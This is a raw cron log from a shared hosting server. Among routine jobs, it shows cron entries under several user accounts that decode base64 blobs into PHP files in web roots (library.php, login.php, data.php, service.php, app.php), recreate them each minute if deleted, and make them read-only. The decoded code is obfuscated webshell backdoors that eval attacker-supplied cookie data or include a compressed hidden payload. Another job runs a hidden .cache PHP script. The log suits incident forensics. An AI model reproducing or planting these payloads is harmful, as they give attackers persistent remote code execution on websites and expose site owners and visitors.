Jun  7 09:16:02 medusa CROND[17562]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 09:16:02 medusa CROND[17564]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 09:16:02 medusa CROND[17566]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 09:16:02 medusa CROND[17565]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 09:16:02 medusa CROND[17568]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 09:16:02 medusa CROND[17569]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 09:16:02 medusa CROND[17570]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 09:16:02 medusa CROND[17572]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 09:16:02 medusa CROND[17567]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 09:16:02 medusa CROND[17579]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 09:16:02 medusa CROND[17571]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 09:17:02 medusa CROND[19199]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 09:17:02 medusa CROND[19200]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 09:17:02 medusa CROND[19201]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 09:17:02 medusa CROND[19202]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 09:17:02 medusa CROND[19203]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Jun  7 09:17:02 medusa CROND[19204]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 09:17:02 medusa CROND[19208]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 09:17:02 medusa CROND[19209]: (mauro2) CMD (/opt/cpanel/ea-php74/root/usr/bin/php -q "/home6/mauro2/public_html/wp-cron.php")
Jun  7 09:17:02 medusa CROND[19207]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 09:17:02 medusa CROND[19211]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 09:17:02 medusa CROND[19212]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 09:17:02 medusa CROND[19224]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 09:17:02 medusa CROND[19225]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 09:18:01 medusa CROND[20962]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Jun  7 09:18:01 medusa CROND[20963]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 09:18:01 medusa CROND[20964]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 09:18:01 medusa CROND[20965]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 09:18:01 medusa CROND[20967]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 09:18:01 medusa CROND[20968]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 09:18:01 medusa CROND[20970]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 09:18:01 medusa CROND[20974]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 09:18:01 medusa CROND[20980]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 09:18:01 medusa CROND[20981]: (tecnosec) CMD (/usr/local/bin/php  /home13/tecnosec/public_html/phplist/admin/index.php  -c /home13/tecnosec/public_html/phplist/config/config.php -p processqueue >/dev/null)
